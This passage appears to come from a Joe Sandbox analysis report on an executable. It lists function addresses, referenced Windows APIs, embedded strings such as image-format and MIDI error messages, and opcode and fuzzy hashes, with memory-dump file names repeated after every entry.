Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: H_prologVersion
String ID:
API String ID: 1836448879-0
Opcode ID: c5606026b5428b3f43db8a6d1d82245f78c6cdff7c11b1ae65de1c0900fa14db
Instruction ID: efc1f0ec2f739a5922d6b0d923c0d6c3a2654534c31f53d3f98995250c614e68
Opcode Fuzzy Hash: c5606026b5428b3f43db8a6d1d82245f78c6cdff7c11b1ae65de1c0900fa14db
Instruction Fuzzy Hash: 0FE18CB0500209EBDB54DF65C8C0ABF77A9EF26314F10851AF81AAA282D739D911DB69

Function 0045CD90 Relevance: 2.9, Strings: 2, Instructions: 445COMMON

Download Yara Rule

Strings

bad encoding (internal error), xrefs: 0045CF3D
color-map index out of range, xrefs: 0045CDDF

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID: bad encoding (internal error)$color-map index out of range
API String ID: 0-7351992
Opcode ID: 887b6444a10f1b00f498787ba34c408affdcefee2ecacfb5a866da76ee3854dc
Instruction ID: 4fc85ad6f8fb210c25eb6ffbc3cc10ff593a502795792dbc3c2e3f0b8bfd8645
Opcode Fuzzy Hash: 887b6444a10f1b00f498787ba34c408affdcefee2ecacfb5a866da76ee3854dc
Instruction Fuzzy Hash: 86F1F672A083128FC718DF28D89126AB7D1EFD8309F05467EEC59D7391E638E909C795

Function 0059940F Relevance: 2.9, APIs: 1, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00599555

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID:
API String ID: 4168288129-0
Opcode ID: 7550f84b0a457e68c967717e08ae8c3ded0fa7e8fe30bd32f0921e8cfddbc44b
Instruction ID: 7e098fd90675f1ffe2085b5af99494960d8c12080523d1fce6ec215d21eec60c
Opcode Fuzzy Hash: 7550f84b0a457e68c967717e08ae8c3ded0fa7e8fe30bd32f0921e8cfddbc44b
Instruction Fuzzy Hash: 05C23971E082298FDF25CE289D447E9BBB9FB85305F1445EAD80DE7240E774AE818F91

Function 00441BA0 Relevance: 2.8, Strings: 2, Instructions: 257COMMON

Download Yara Rule

Strings

MTrk, xrefs: 00441D1C
d, xrefs: 00441DE4

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID: MTrk$d
API String ID: 0-4044675371
Opcode ID: 979ccd4e6919e6fc60d74d637dcf7d6a76aaa9813027457234a167c484029a59
Instruction ID: 2b61202f44840fe95a4960d731c3309211f638500b8df94061153440af761d64
Opcode Fuzzy Hash: 979ccd4e6919e6fc60d74d637dcf7d6a76aaa9813027457234a167c484029a59
Instruction Fuzzy Hash: 8691B771B007059FE718CF29C98096AB7E2EFC8314B24893EE84ACB751EA78ED45C755

Function 00459BA0 Relevance: 2.6, Strings: 2, Instructions: 115COMMON

Download Yara Rule

Strings

ICC profile tag outside profile, xrefs: 00459CB8
ICC profile tag start not a multiple of 4, xrefs: 00459C69

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID: ICC profile tag outside profile$ICC profile tag start not a multiple of 4
API String ID: 0-2051163487
Opcode ID: 150d3af7817bfbc516ce785fcbafc02c683730a9881a954db07cbd14e8e73236
Instruction ID: 873c857c9cf16744973b91d601ead2b6211a1f4aae341d1241eeba4c91cf634b
Opcode Fuzzy Hash: 150d3af7817bfbc516ce785fcbafc02c683730a9881a954db07cbd14e8e73236
Instruction Fuzzy Hash: 443116F370879107D71CCA2D9CA06A7BBD3ABC8245F1DC96DE4DAC3302E825A909C758

Function 0043ABE0 Relevance: 2.1, APIs: 1, Instructions: 638COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa3f8342be5dbcbc69aa11d5f9f0822f919394d23c410365b390e90300e3c7d5
Instruction ID: 72dde3b0261c2a4141dc52c5de2195e13531bb7beda1c755b7b24f9194d123b1
Opcode Fuzzy Hash: aa3f8342be5dbcbc69aa11d5f9f0822f919394d23c410365b390e90300e3c7d5
Instruction Fuzzy Hash: 2F32B271E002559FCB14DFA8C881BAEB7B1FF4C314F24426AE516A7381D738AD51CB9A

Function 00439460 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(?,?,00000000), ref: 00439478

Part of subcall function 004AC51D: __EH_prolog.LIBCMT ref: 004AC522
Part of subcall function 004AC51D: GetClassInfoA.USER32(?,?,?), ref: 004AC53D
Part of subcall function 004AC51D: RegisterClassA.USER32(?), ref: 004AC548

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Class$Info$H_prologRegister
String ID:
API String ID: 1678024082-0
Opcode ID: 584f7cab583109ccc5f4f1df998cff0ee853c4915129058c5258ef49b069818e
Instruction ID: e473e4b2deabae03720b8b1c608dbc7760276c8912bb0a3fd05ff742adf8f5e9
Opcode Fuzzy Hash: 584f7cab583109ccc5f4f1df998cff0ee853c4915129058c5258ef49b069818e
Instruction Fuzzy Hash: 0401AE75A09341AF8344DF1AD88085BBBF4EEC9754F40892EF98893320E334A946CF96

Function 00424115 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

EnableWindow.USER32(?,00000000), ref: 00424126

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: EnableWindow
String ID:
API String ID: 4266128931-0
Opcode ID: 00a091e480f70d5ccb755d7f63a689459c6331f6707e056d7bf3abf66dec69cb
Instruction ID: 9608c249348b19862d65967dad93b47102144d1a54d5efc51ef18041a87c5c1a
Opcode Fuzzy Hash: 00a091e480f70d5ccb755d7f63a689459c6331f6707e056d7bf3abf66dec69cb
Instruction Fuzzy Hash: F4B09231D402029BEE008E649C49B66A374AB03211F206A807612B72E2C665D8078A0C

Function 004A4FC2 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000A4F7C), ref: 004A4FC7

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 6e020592b9242b6ae878a2f99dcb7a2e3b011bf384cd38f2d58550a1441f5532
Instruction ID: b7f3e3c1b788d68fc82cfc091b0aff5fa6bd9419454d0b24a9c332a84a720702
Opcode Fuzzy Hash: 6e020592b9242b6ae878a2f99dcb7a2e3b011bf384cd38f2d58550a1441f5532
Instruction Fuzzy Hash: C1A002F5585340CF8F005FE0BC0975C3AA4F6DEB127142266F951C12A8DBB80442DE1F

Function 004A4FD4 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 004A4FD9

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b59e2309cdd161eae1bab513b13919ec80f0777378c8a117b89a326513b1a46d
Instruction ID: 1cdef0893ba2f0bf260fe63d9c5898c1286a95fd0451db6350e9b76be6256f0a
Opcode Fuzzy Hash: b59e2309cdd161eae1bab513b13919ec80f0777378c8a117b89a326513b1a46d
Instruction Fuzzy Hash:

Function 00581A84 Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 00581BF4

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 265f2ed19ec5c82c5ac906a1a3a706e16a29a61a8b54f9274ac42e629da53273
Instruction ID: d9760d23a5657f63225b9a8d04a2c3eb72f7c5730ab6fab4c78d0a3e3ca7df68
Opcode Fuzzy Hash: 265f2ed19ec5c82c5ac906a1a3a706e16a29a61a8b54f9274ac42e629da53273
Instruction Fuzzy Hash: AE515670741E4956DB38BA78845A7BE2FDDBB52341F180919DC83FB282E605DD43839D

Function 00589C18 Relevance: .7, Instructions: 669COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8536ff9a88dc4c972bae6a7fbaa0c9877bacda9aa500b4fbbd544ecf36cfb322
Instruction ID: 2894e1f479f11402b45a4919ce5d26261f8240b2295e4dfd0fa3c71c565ed9be
Opcode Fuzzy Hash: 8536ff9a88dc4c972bae6a7fbaa0c9877bacda9aa500b4fbbd544ecf36cfb322
Instruction Fuzzy Hash: BE327D74A0020ADFDF18DF98C985ABEBBB5FF85304F284169DD41A7305D732AA46CB91

Function 00592749 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1dc02b34ea1c3ee967d14135bf285ab187bcc04756263692be34bd6ff84d5a5
Instruction ID: 965df7f5bdd467c3b78807e576efe1382692ff627b4284f5fd72cf98244988ea
Opcode Fuzzy Hash: a1dc02b34ea1c3ee967d14135bf285ab187bcc04756263692be34bd6ff84d5a5
Instruction Fuzzy Hash: 1F322126D28F015DDB239635DC22335A699FFB73C4F14C737E81AB5AAAEB29C4834140

Function 00470C4E Relevance: .5, Instructions: 514COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c85dee769327566c92cc141bc3c7f3cdf5d28e5175baacb446230171ec10bcb
Instruction ID: ad6487f34e650efd19240fd882bec016daad84ec901036bba4ac035a301799ba
Opcode Fuzzy Hash: 2c85dee769327566c92cc141bc3c7f3cdf5d28e5175baacb446230171ec10bcb
Instruction Fuzzy Hash: A0125DB1605301CFCB18CF19C99066BBBE6ABC9300F14C96EE9898B346E774DD45CB96

Function 00470E9E Relevance: .5, Instructions: 514COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 115f8c5b62e0c21783d8c256f1a16cf67ea58806492d08d108e571771d9d8b4c
Instruction ID: be0450a6f1a115f662630eb185c45ee382497da374eecec1b1b1e6f91ad905f1
Opcode Fuzzy Hash: 115f8c5b62e0c21783d8c256f1a16cf67ea58806492d08d108e571771d9d8b4c
Instruction Fuzzy Hash: 2D125DB1605301CFCB18CF19C99066BBBE6ABC9300F14C96EE9898B346E774DD45CB96

Function 00478880 Relevance: .5, Instructions: 503COMMON

Download Yara Rule

Memory Dump Source

